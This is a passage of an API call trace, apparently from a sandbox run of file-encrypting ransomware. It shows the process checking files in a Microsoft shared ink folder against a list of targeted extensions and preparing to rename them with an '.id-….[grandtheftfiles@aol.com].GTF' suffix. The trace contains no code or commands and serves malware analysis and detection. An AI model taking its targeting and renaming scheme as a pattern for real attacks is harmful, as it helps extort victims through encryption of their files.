	[0154.040] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0154.040] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0154.040] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0154.040] lstrlenW (lpString=".doc") returned 4
	[0154.040] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0154.040] lstrlenW (lpString=".docx") returned 5
	[0154.040] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1
	[0154.040] lstrlenW (lpString=".pdf") returned 4
	[0154.040] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0154.040] lstrlenW (lpString=".xls") returned 4
	[0154.040] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0154.040] lstrlenW (lpString=".xlsx") returned 5
	[0154.040] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1
	[0154.040] lstrlenW (lpString=".ppt") returned 4
	[0154.040] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0154.040] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0154.040] lstrlenW (lpString=".zip") returned 4
	[0154.040] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0154.040] lstrlenW (lpString=".rar") returned 4
	[0154.040] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0154.040] lstrlenW (lpString=".bz2") returned 4
	[0154.040] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0154.040] lstrlenW (lpString=".7z") returned 3
	[0154.040] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0154.041] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0154.041] lstrlenW (lpString=".dbf") returned 4
	[0154.041] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0154.041] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0154.041] lstrlenW (lpString=".1cd") returned 4
	[0154.041] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0154.041] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0154.041] lstrlenW (lpString=".jpg") returned 4
	[0154.041] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0154.041] lstrcmpiW (lpString1=".xml", lpString2=".GTF") returned 1
	[0154.041] lstrlenW (lpString="ipscat.xml") returned 10
	[0154.041] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8
	[0154.042] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=2592) returned 1
	[0154.042] CloseHandle (hObject=0x3d8) returned 1
	[0154.042] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml")) returned 0x20
	[0154.042] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0154.042] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0154.042] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml") returned 61
	[0154.042] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml") returned 61
	[0154.042] lstrlenW (lpString=".doc") returned 4
	[0154.042] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0154.042] lstrlenW (lpString=".docx") returned 5
	[0154.042] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1
	[0154.042] lstrlenW (lpString=".pdf") returned 4
	[0154.042] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0154.042] lstrlenW (lpString=".xls") returned 4
	[0154.042] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0154.042] lstrlenW (lpString=".xlsx") returned 5
	[0154.042] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1
	[0154.043] lstrlenW (lpString=".ppt") returned 4
	[0154.043] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0154.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml") returned 61
	[0154.043] lstrlenW (lpString=".zip") returned 4
	[0154.043] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0154.043] lstrlenW (lpString=".rar") returned 4
	[0154.043] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0154.043] lstrlenW (lpString=".bz2") returned 4
	[0154.043] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0154.043] lstrlenW (lpString=".7z") returned 3
	[0154.043] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0154.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml") returned 61
	[0154.043] lstrlenW (lpString=".dbf") returned 4
	[0154.043] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0154.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml") returned 61
	[0154.043] lstrlenW (lpString=".1cd") returned 4
	[0154.043] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0154.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml") returned 61
	[0154.043] lstrlenW (lpString=".jpg") returned 4
	[0154.043] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0154.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml") returned 61
	[0154.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml") returned 61
	[0154.043] lstrlenW (lpString=".doc") returned 4
	[0154.043] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0154.043] lstrlenW (lpString=".docx") returned 5
	[0154.043] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1
	[0154.043] lstrlenW (lpString=".pdf") returned 4
	[0154.043] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0154.043] lstrlenW (lpString=".xls") returned 4
	[0154.043] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0154.043] lstrlenW (lpString=".xlsx") returned 5
	[0154.043] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1
	[0154.043] lstrlenW (lpString=".ppt") returned 4
	[0154.043] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0154.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml") returned 61
	[0154.043] lstrlenW (lpString=".zip") returned 4
	[0154.043] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0154.044] lstrlenW (lpString=".rar") returned 4
	[0154.044] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0154.044] lstrlenW (lpString=".bz2") returned 4
	[0154.044] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0154.044] lstrlenW (lpString=".7z") returned 3
	[0154.044] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0154.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml") returned 61
	[0154.044] lstrlenW (lpString=".dbf") returned 4
	[0154.044] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0154.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml") returned 61
	[0154.044] lstrlenW (lpString=".1cd") returned 4
	[0154.044] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0154.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml") returned 61
	[0154.044] lstrlenW (lpString=".jpg") returned 4
	[0154.044] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0154.044] lstrcmpiW (lpString1=".xml", lpString2=".GTF") returned 1
	[0154.044] lstrlenW (lpString="ipschs.xml") returned 10
	[0154.044] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8
	[0154.044] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=2462) returned 1
	[0154.044] CloseHandle (hObject=0x3d8) returned 1
	[0154.044] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml")) returned 0x20
	[0154.045] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0154.045] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0154.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61
	[0154.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61
	[0154.045] lstrlenW (lpString=".doc") returned 4
	[0154.045] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0154.045] lstrlenW (lpString=".docx") returned 5
	[0154.045] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1
	[0154.045] lstrlenW (lpString=".pdf") returned 4
	[0154.045] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0154.045] lstrlenW (lpString=".xls") returned 4
	[0154.045] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0154.045] lstrlenW (lpString=".xlsx") returned 5
	[0154.045] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1
	[0154.045] lstrlenW (lpString=".ppt") returned 4
	[0154.045] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0154.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61
	[0154.045] lstrlenW (lpString=".zip") returned 4
	[0154.045] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0154.045] lstrlenW (lpString=".rar") returned 4
	[0154.045] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0154.045] lstrlenW (lpString=".bz2") returned 4
	[0154.045] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0154.045] lstrlenW (lpString=".7z") returned 3
	[0154.045] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0154.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61
	[0154.045] lstrlenW (lpString=".dbf") returned 4
	[0154.045] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0154.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61
	[0154.045] lstrlenW (lpString=".1cd") returned 4
	[0154.045] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0154.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61
	[0154.045] lstrlenW (lpString=".jpg") returned 4
	[0154.046] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0154.046] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61
	[0154.046] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61
	[0154.046] lstrlenW (lpString=".doc") returned 4
	[0154.046] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0154.046] lstrlenW (lpString=".docx") returned 5
	[0154.046] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1
	[0154.046] lstrlenW (lpString=".pdf") returned 4
	[0154.046] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0154.046] lstrlenW (lpString=".xls") returned 4
	[0154.046] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0154.046] lstrlenW (lpString=".xlsx") returned 5
	[0154.046] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1
	[0154.046] lstrlenW (lpString=".ppt") returned 4
	[0154.046] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0154.046] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61
	[0154.046] lstrlenW (lpString=".zip") returned 4
	[0154.046] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0154.046] lstrlenW (lpString=".rar") returned 4
	[0154.046] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0154.046] lstrlenW (lpString=".bz2") returned 4
	[0154.046] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0154.046] lstrlenW (lpString=".7z") returned 3
	[0154.046] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0154.046] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61
	[0154.046] lstrlenW (lpString=".dbf") returned 4
	[0154.046] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0154.046] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61
	[0154.046] lstrlenW (lpString=".1cd") returned 4
	[0154.046] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0154.046] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61
	[0154.046] lstrlenW (lpString=".jpg") returned 4
	[0154.046] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0154.047] lstrcmpiW (lpString1=".xml", lpString2=".GTF") returned 1
	[0154.047] lstrlenW (lpString="ipscht.xml") returned 10
	[0154.047] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8
	[0154.047] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=2436) returned 1
	[0154.047] CloseHandle (hObject=0x3d8) returned 1
	[0154.047] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml")) returned 0x20
	[0154.047] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0154.047] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0154.047] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61
	[0154.047] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61
	[0154.047] lstrlenW (lpString=".doc") returned 4
	[0154.047] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0154.047] lstrlenW (lpString=".docx") returned 5
	[0154.047] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1
	[0154.047] lstrlenW (lpString=".pdf") returned 4
	[0154.047] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0154.047] lstrlenW (lpString=".xls") returned 4
	[0154.047] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0154.047] lstrlenW (lpString=".xlsx") returned 5
	[0154.047] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1
	[0154.048] lstrlenW (lpString=".ppt") returned 4
	[0154.048] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0154.048] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61
	[0154.048] lstrlenW (lpString=".zip") returned 4
	[0154.048] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0154.048] lstrlenW (lpString=".rar") returned 4
	[0154.048] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0154.048] lstrlenW (lpString=".bz2") returned 4
	[0154.048] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0154.048] lstrlenW (lpString=".7z") returned 3
	[0154.048] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0154.048] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61
	[0154.048] lstrlenW (lpString=".dbf") returned 4
	[0154.048] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0154.048] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61
	[0154.048] lstrlenW (lpString=".1cd") returned 4
	[0154.048] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0154.048] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61
	[0154.048] lstrlenW (lpString=".jpg") returned 4
	[0154.048] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0154.048] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61
	[0154.048] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61
	[0154.048] lstrlenW (lpString=".doc") returned 4
	[0154.048] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0154.048] lstrlenW (lpString=".docx") returned 5
	[0154.048] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1
	[0154.048] lstrlenW (lpString=".pdf") returned 4
	[0154.048] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0154.048] lstrlenW (lpString=".xls") returned 4
	[0154.048] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0154.048] lstrlenW (lpString=".xlsx") returned 5
	[0154.048] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1
	[0154.048] lstrlenW (lpString=".ppt") returned 4
	[0154.048] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0154.048] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61
	[0154.048] lstrlenW (lpString=".zip") returned 4
	[0154.048] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0154.048] lstrlenW (lpString=".rar") returned 4
	[0154.049] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0154.049] lstrlenW (lpString=".bz2") returned 4
	[0154.049] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0154.049] lstrlenW (lpString=".7z") returned 3
	[0154.049] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0154.049] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61
	[0154.049] lstrlenW (lpString=".dbf") returned 4
	[0154.049] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0154.049] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61
	[0154.049] lstrlenW (lpString=".1cd") returned 4
	[0154.049] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0154.049] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61
	[0154.049] lstrlenW (lpString=".jpg") returned 4
	[0154.049] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0154.049] lstrcmpiW (lpString1=".xml", lpString2=".GTF") returned 1
	[0154.049] lstrlenW (lpString="ipscsy.xml") returned 10
	[0154.049] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8
	[0154.050] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=2556) returned 1
	[0154.050] CloseHandle (hObject=0x3d8) returned 1
	[0154.050] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml")) returned 0x20
	[0154.051] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0154.051] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0154.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml") returned 61
	[0154.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml") returned 61
	[0154.051] lstrlenW (lpString=".doc") returned 4
	[0154.051] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0154.051] lstrlenW (lpString=".docx") returned 5
	[0154.051] lstrcmpiW (lpString1=".docx", lpString2="y.xml") returned -1
	[0154.051] lstrlenW (lpString=".pdf") returned 4
	[0154.051] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0154.051] lstrlenW (lpString=".xls") returned 4
	[0154.051] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0154.051] lstrlenW (lpString=".xlsx") returned 5
	[0154.051] lstrcmpiW (lpString1=".xlsx", lpString2="y.xml") returned -1
	[0154.051] lstrlenW (lpString=".ppt") returned 4
	[0154.051] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0154.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml") returned 61
	[0154.051] lstrlenW (lpString=".zip") returned 4
	[0154.051] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0154.051] lstrlenW (lpString=".rar") returned 4
	[0154.051] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0154.051] lstrlenW (lpString=".bz2") returned 4
	[0154.051] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0154.051] lstrlenW (lpString=".7z") returned 3
	[0154.051] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0154.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml") returned 61
	[0154.051] lstrlenW (lpString=".dbf") returned 4
	[0154.051] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0154.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml") returned 61
	[0154.052] lstrlenW (lpString=".1cd") returned 4
	[0154.052] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0154.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml") returned 61
	[0154.052] lstrlenW (lpString=".jpg") returned 4
	[0154.052] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0154.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml") returned 61
	[0154.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml") returned 61
	[0154.052] lstrlenW (lpString=".doc") returned 4
	[0154.052] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0154.052] lstrlenW (lpString=".docx") returned 5
	[0154.052] lstrcmpiW (lpString1=".docx", lpString2="y.xml") returned -1
	[0154.052] lstrlenW (lpString=".pdf") returned 4
	[0154.052] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0154.052] lstrlenW (lpString=".xls") returned 4
	[0154.052] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0154.052] lstrlenW (lpString=".xlsx") returned 5
	[0154.052] lstrcmpiW (lpString1=".xlsx", lpString2="y.xml") returned -1
	[0154.052] lstrlenW (lpString=".ppt") returned 4
	[0154.052] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0154.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml") returned 61
	[0154.052] lstrlenW (lpString=".zip") returned 4
	[0154.052] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0154.052] lstrlenW (lpString=".rar") returned 4
	[0154.052] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0154.052] lstrlenW (lpString=".bz2") returned 4
	[0154.052] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0154.052] lstrlenW (lpString=".7z") returned 3
	[0154.052] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0154.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml") returned 61
	[0154.052] lstrlenW (lpString=".dbf") returned 4
	[0154.052] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0154.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml") returned 61
	[0154.052] lstrlenW (lpString=".1cd") returned 4
	[0154.052] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0154.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml") returned 61
	[0154.053] lstrlenW (lpString=".jpg") returned 4
	[0154.053] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0154.053] lstrcmpiW (lpString1=".xml", lpString2=".GTF") returned 1
	[0154.053] lstrlenW (lpString="ipsdeu.xml") returned 10
	[0154.053] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8
	[0154.053] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=2616) returned 1
	[0154.053] CloseHandle (hObject=0x3d8) returned 1
	[0154.053] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml")) returned 0x20
